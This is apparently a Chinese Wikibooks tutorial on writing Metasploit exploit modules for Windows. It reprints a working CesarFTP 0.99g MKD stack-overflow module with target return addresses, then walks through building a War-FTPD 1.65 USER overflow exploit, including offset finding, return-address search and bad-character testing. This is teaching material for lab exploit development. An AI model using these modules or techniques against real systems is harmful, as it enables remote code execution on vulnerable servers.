跳转到内容

Metasploit/编写Windows漏洞利用

来自Wikibooks,开放世界中的开放书籍


为Metasploit框架编写Windows漏洞利用


此页面说明如何为Metasploit Framework v3.x编写Windows漏洞利用。
此页面不解释如何查找漏洞。(为此,请参阅模糊测试)

Metasploit Framework有助于轻松快速地编写可靠的漏洞利用。
Metasploit Framework使用Ruby语言

技术技能

  • 关于使用Metasploit Framework的一些技能。
  • 一些编程技能(Ruby技能有用,但并非完全必要)
  • 对Windows内存管理的一些了解(堆栈、堆、寄存器)

材料

  • 已安装并运行的Metasploit Framework
  • Windows平台
  • 调试器[1]
  • 文本编辑器


在Metasploit Framework中,漏洞利用被称为“漏洞利用模块”。

漏洞利用模块默认位于
C:\Program Files\Metasploit\Framework3\home\framework\modules\exploits\
(如果在上面的路径中找不到,请检查C:\Documents and Settings\<您的用户名>\Application Data\msf3\modules\exploits)

漏洞利用模块按平台(操作系统)分类,然后按类型(协议)分类。

编辑漏洞利用模块

[编辑 | 编辑源代码]


了解漏洞利用模块编写方式的良好方法是先编辑一个。

我们编辑这个模块
C:\Program Files\Metasploit\Framework3\home\framework\modules\exploits\windows\ftp\cesarftp_mkd.rb

#作者的注释用红色标记。

##
# $Id: cesarftp_mkd.rb 4419 2007-02-18 00:10:39Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://Metasploit.com/projects/Framework/
##

#Comment lines start with a # (they won't be executed)
require 'msf/core' #We will always need the core library
module Msf #This line should always be present
class Exploits::Windows::Ftp::Cesarftp_Mkd < Msf::Exploit::Remote
#The name of the class (Exploits::Windows::Ftp::Cesarftp_Mkd) specifies where the exploit module
#is physically located (*\exploits\windows\ftp\cesarftp_mkd.rb). The filename of the exploit
#module (cesarftp_mkd.rb) should be the same as the name of the class (Cesarftp_Mkd)
include Exploit::Remote::Ftp #We use MSF's built-in Ftp functions def initialize(info = {}) super(update_info(info, 'Name' => 'Cesar FTP 0.99g MKD Command Buffer Overflow', #An understandable, detailed name (displayed in the console) 'Description' => %q{ This module exploits a stack overflow in the MKD verb in CesarFTP 0.99g. #The description of the module/vulnerability }, 'Author' => 'MC', #The (nick)name of the author of this module 'License' => MSF_LICENSE, #Type of license 'Version' => '$Revision: 4419 $', #Version number of the module 'References' => #Various 'URLs' about the vulnerability [ [ 'BID', '18586'], [ 'CVE', '2006–2961'], [ 'URL', 'http://secunia.com/advisories/20574/' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 250, #Maximum space available in memory to store the shellcode (payload) 'BadChars' => "\x00\x20\x0a\x0d", #List of the forbidden characters 'StackAdjustment' => -3500, }, 'Platform' => 'win', #Type of the target's platform 'Targets' => #List of the targets and return addresses [ [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ], [ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ], [ 'Windows 2003 SP1 English', { 'Ret' => 0x76AA679b } ], ], 'DisclosureDate' => 'Jun 12 2006', #Vulnerability disclosure date 'DefaultTarget' => 0 #Default target used if not specified by the user (in this case: Windows 2000 Pro SP4 English) ) ) end
	def check #Function used to check if a target is vulnerable
		connect
		disconnect
		if (banner =~ /CesarFTP 0\.99g/) #We test the banner returned by the server
			return Exploit::CheckCode::Vulnerable #The server is vulnerable
		end
			return Exploit::CheckCode::Safe #The server is NOT vulnerable
	end
	def exploit #We defines our exploit
		connect_login #We use the Ftp login function
		sploit =  "\n" * 671 + Rex::Text.rand_text_english(3, payload_badchars) #Padding
		sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded
		#Return address (little endian converted) + nop sled + payload
		print_status("Trying target #{target.name}...")
		send_cmd( ['MKD', sploit] , false) #We send our exploit code to the target
		handler
		disconnect #We close the connection
	end

end
end

编写漏洞利用模块

[编辑 | 编辑源代码]

为了了解如何为Metasploit Framework编写漏洞利用模块,我们将为WarFTPD版本1.5[2]中易于利用的漏洞编写一个漏洞利用。
(注意,此漏洞的漏洞利用模块已存在于Metasploit Framework中,但我们正在尝试构建自己的漏洞利用。)
我们在本地Windows机器上下载并安装WarFTPD。
我们启动WarFTPD守护进程。
我们取消选中“不允许匿名登录”复选框。
我们启动FTP服务器(点击“上线/离线”按钮)



好的,服务器现在正在等待我们…

首先要做的是查找有关所讨论漏洞的信息。有很多可能的来源。
以下是一个示例
http://osvdb.org/displayvuln.php?osvdb_id=875&print

我们现在看到该错误可以通过在USER命令中发送特制请求来触发。
通常,一个非常长的字符串会触发这种错误,但让我们验证一下。

我们首先重现漏洞。
为此,我们直接使用Metasploit Framework。
我们创建文件
C:\Program Files\Metasploit\Framework3\home\framework\modules\exploits\windows\ftp\warftpd.rb

我们打开此文件并在其中写入(复制/粘贴)以下代码

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://Metasploit.com/projects/Framework/
##

require 'msf/core'
 

class Metasploit3 < Msf::Exploit::Remote
 	Rank = AverageRanking
   
   #The names of the exploit module and the class are 'equal' 

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'War-FTPD 1.65 Username Overflow',
			'Description'    => %q{
				This module exploits a buffer overflow found in the USER command
				of War-FTPD 1.65.
			},	#End of Description
			'Author'         => 'Your Name',	#Change this value with your (nick)name
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 1 $',
			'References'     => 
				[
					[ 'URL', 'http://osvdb.org/displayvuln.php?osvdb_id=875&print' ]
					#The URL mentioned above
				],
			'DefaultOptions' => 
				{
					'EXITFUNC' => 'process'
				},
			'Payload'        =>
				{
					'Space'    => 1000,		#We actually don't know the correct value for this
					'BadChars' => "\x00"
					#We actually don't know the correct value for this
				},
			'Targets'        =>
				[
					# Target 0
					[
						'Our Windows Target',
						#Replace this with your Windows target platform (ie: Windows 2000 SP4)
						{
							'Platform' => 'win',	#We exploit a Windows target
							'Ret'      => 0x01020304
							#We actually don't know the correct value for this
						}
					]
				]
		)	#End of update_info()
		)	#End of super()
	end	#End of initialize

	def exploit
		connect

		print_status("Trying target #{target.name}...")

		exploit          = 'A' * 1000	#We first try to trigger the bug by sending a long string of 1000 "A"

		send_cmd( ['USER', exploit] , false )	#We send our evil string

		handler
		disconnect	#We disconnect from the server 
	end	#End of exploit

end	#End of class


WarFTPD服务器正在运行(监听默认端口21/tcp)。
我们现在启动Metasploit Framework的控制台。
(开始 / 程序 / Metasploit3 / MSFConsole)

我们现在可以使用此命令查看我们的漏洞利用
show exploits



我们现在使用这些命令启动我们的漏洞利用
use windows/ftp/warftpd
set RHOST 127.0.0.1
set TARGET 0
set PAYLOAD generic/shell_bind_tcp
exploit


几秒钟后,我们看到WarFTPD守护进程FTP服务器消失(崩溃)。
我们已成功重现了错误。


要查看服务器崩溃时发生了什么,我们使用调试器。
我们再次启动WarFTPD守护进程,并将我们的调试器附加到它。
=> 在OllyDbg中,我们使用“文件/附加”,选择WarFTPD进程,单击“确定”,并在加载完成后,我们按F9键使其运行。


我们再次启动我们的漏洞利用。
我们现在可以查看我们的调试器。
我们看到触发了访问冲突。
EIP被我们的恶意字符串覆盖(41414141是AAAA的十六进制等效值)

查找可用空间
[编辑 | 编辑源代码]

我们必须找到shellcode(有效负载)的可用空间。

Metasploit Framework包含一些工具来帮助我们。

首先,我们关闭调试器。


我们使用pattern_create()函数生成一个不重复的字母数字文本字符串。我们通过调用以下脚本来使用此函数:C:\Program Files\Metasploit\Framework3\msf3\tools\pattern_create.rb

从DOS命令行控制台,它给出

C:\Program Files\Metasploit\Framework3\msf3\tools>ruby pattern_create.rb
Usage: pattern_create.rb length [set a] [set b] [set c]



我们生成一个1000个字符的字符串,并在我们的漏洞利用中使用它来再次触发错误

C:\Program Files\Metasploit\Framework3\framework\tools>ruby pattern_create.rb 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A
f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9
Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak
6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9
Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As
6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A
v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9
Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba
6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B
d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9
Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh

在我们的PoC代码中,我们替换这行代码

exploit          = 'A' * 1000

for

exploit          = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A
f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9
Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak
6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9
Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As
6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A
v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9
Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba
6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B
d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9
Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh'


然后,我们保存修改后的PoC代码。我们启动War-FTPD FTP服务器。我们运行调试器并将其附加到War-FTPD进程。我们启动我们的漏洞利用…

好的,我们现在可以在调试器中看到这一点


我们看到EIP现在被值“32714131”覆盖。


然后我们使用patternOffset来了解在命中EIP之前要发送的字符数。为此,我们使用以下脚本:C:\Program Files\Metasploit\Framework3\framework\tools\pattern_offset.rb

从DOS命令行控制台,它给出

C:\Program Files\Metasploit\Framework3\msf3\tools>ruby pattern_offset.rb
Usage: pattern_offset.rb <search item> <length of buffer>
Default length of buffer if none is inserted: 8192
This buffer is generated by pattern_create() in the Rex library automatically


所以,我们现在像这样提供之前找到的参数

C:\Program Files\Metasploit\Framework3\msf3\tools>ruby pattern_offset.rb 32714131 1000

结果“485”显示出来。这意味着我们应该有485字节的空间来存储我们的有效负载。


我们在PoC代码中添加此值:我们修改这行代码

'Space'    => 1000,          #We actually don't know the correct value for this

for

'Space'    => 485,

这样,当我们将我们的漏洞利用加载到Metasploit Framework中(使用“use”命令)时,它将自动搜索并显示大小小于485(使用“show PAYLOADS”命令)的可用有效负载。

查找返回地址
[编辑 | 编辑源代码]

我们现在必须找到一个可靠的返回地址。
最好的方法是从我们的目标中直接获取返回地址。(在易受攻击的可执行文件中本身或它使用的其中一个DLL中)
它避免了Windows和Service Pack、语言环境、热修复程序等各种版本出现问题…
这将使我们的漏洞利用成为通用的。
但这并不总是那么容易。

一种方法是使用OllyDbg的内存搜索功能。

而且,Metasploit Framework再次包含一些工具来帮助我们。

我们可以使用“msfpescan”来搜索操作码的返回地址

$ ./framework/msfpescan
Usage: ./framework/msfpescan [mode] <options> [targets]

Modes:
    -j, --jump [regA,regB,regC]      Search for jump equivalent instructions
    -p, --poppopret                  Search for pop+pop+ret combinations
    -r, --regex [regex]              Search for regex match
    -a, --analyze-address [address]  Display the code at the specified address
    -b, --analyze-offset [offset]    Display the code at the specified offset
    -f, --fingerprint                Attempt to identify the packer/compiler

Options:
    -M, --memdump                    The targets are memdump.exe directories
    -A, --after [bytes]              Number of bytes to show after match (-a/-b)

    -B, --before [bytes]             Number of bytes to show before match (-a/-b
)
    -I, --image-base [address]       Specify an alternate ImageBase
    -h, --help                       Show this message


我们也可以使用MSF操作码数据库
http://metasploit.com/users/opcode/msfopcode.cgi
注意,Metasploit Framework包含一个内置客户端来使用此数据库
http://www.metasploit.com/projects/Framework/msf3/msfopcode.html

我们还可以使用另一个名为 eerep 的好工具,它来自 eEye
http://research.eeye.com/html/tools/RT20060801-2.html

我们也可以在这里找到一些国际返回地址
https://www.securinfos.info/international-opcodes/index.php

处理坏字符
[编辑 | 编辑源代码]

现在我们需要找到并阻止坏字符。
我们不应该在我们的 shellcode 中包含终止的空字符,因为它会中断执行。
我们已经在我们的漏洞利用中用这个做到了:'BadChars' => "\x00"

此外,目标应用程序通常会在应用程序处理数据之前修改收到的数据。
例如,一个应用程序会将所有字符更改为大写。
由于这会修改我们的 shellcode,因此我们必须处理它。
为此,Metasploit 框架将对我们的 shellcode 进行编码,以获得一个没有任何指定坏字符的 shellcode。
我们只需要在我们的漏洞利用代码中指定坏字符列表。

因此,为了找到坏字符,我们将发送一个包含 ASCII 表中所有字符的字符串,包括可打印字符和不可打印字符。
该字符串将如下所示

"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d
\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c
\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b
\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a
\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9
\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8
\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7
\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"


@ 我们编辑我们的漏洞利用代码,并将上面的字符串放入其中。
然后,让我们的目标应用程序运行,并将我们的调试器附加到其进程;我们重新启动我们的漏洞利用。
在调试器下,访问冲突触发后,右键单击 esp 寄存器,选择“在转储中跟随”选项。
现在我们将看到我们的字符串,并检查字符串末尾缺少或修改的字符。
这是我们的第一个坏字符。(记下来)

我们从我们的漏洞利用代码中删除它,然后再次执行 @...
直到我们在调试器中看到所有发送的字符。

现在,在漏洞利用的坏字符部分,我们编写作为坏字符找到的字符(被应用程序删除或修改)。

参考资料

[编辑 | 编辑源代码]

[1] 免费 Windows 调试器
http://www.ollydbg.de/
http://www.microsoft.com/whdc/devtools/debugging/default.mspx

[2] WarFTPD v1.5 下载链接 https://www.securinfos.info/old_softwares_vulnerable/WarFTP165_vulnerable_USER_BufferOverflow.exe

http://www.milw0rm.com/papers/142

Metasploit 框架 v3.0 开发人员文档
http://Metasploit.com/projects/Framework/msf3/

漏洞利用模块教程
http://Metasploit.com/projects/Framework/documentation.html#exploitTutorial

Vinnie Liu - 编写漏洞利用 III
http://www.syngress.com/book_catalog/327_SSPC/sample.pdf

http://www.securityforest.com/wiki/index.php/Category:Buffer_Overflows_Education
https://www.securinfos.info/english/security-papers-hacking-whitepapers.php

https://www.securinfos.info/VNSECON2007/VNSECON07-JA-Exploit_development.pdf

开发我的第一个漏洞利用 - 由 MaXe(感谢 Jerome Athias)
视频指南:http://guides.intern0t.net/msf2.php

华夏公益教科书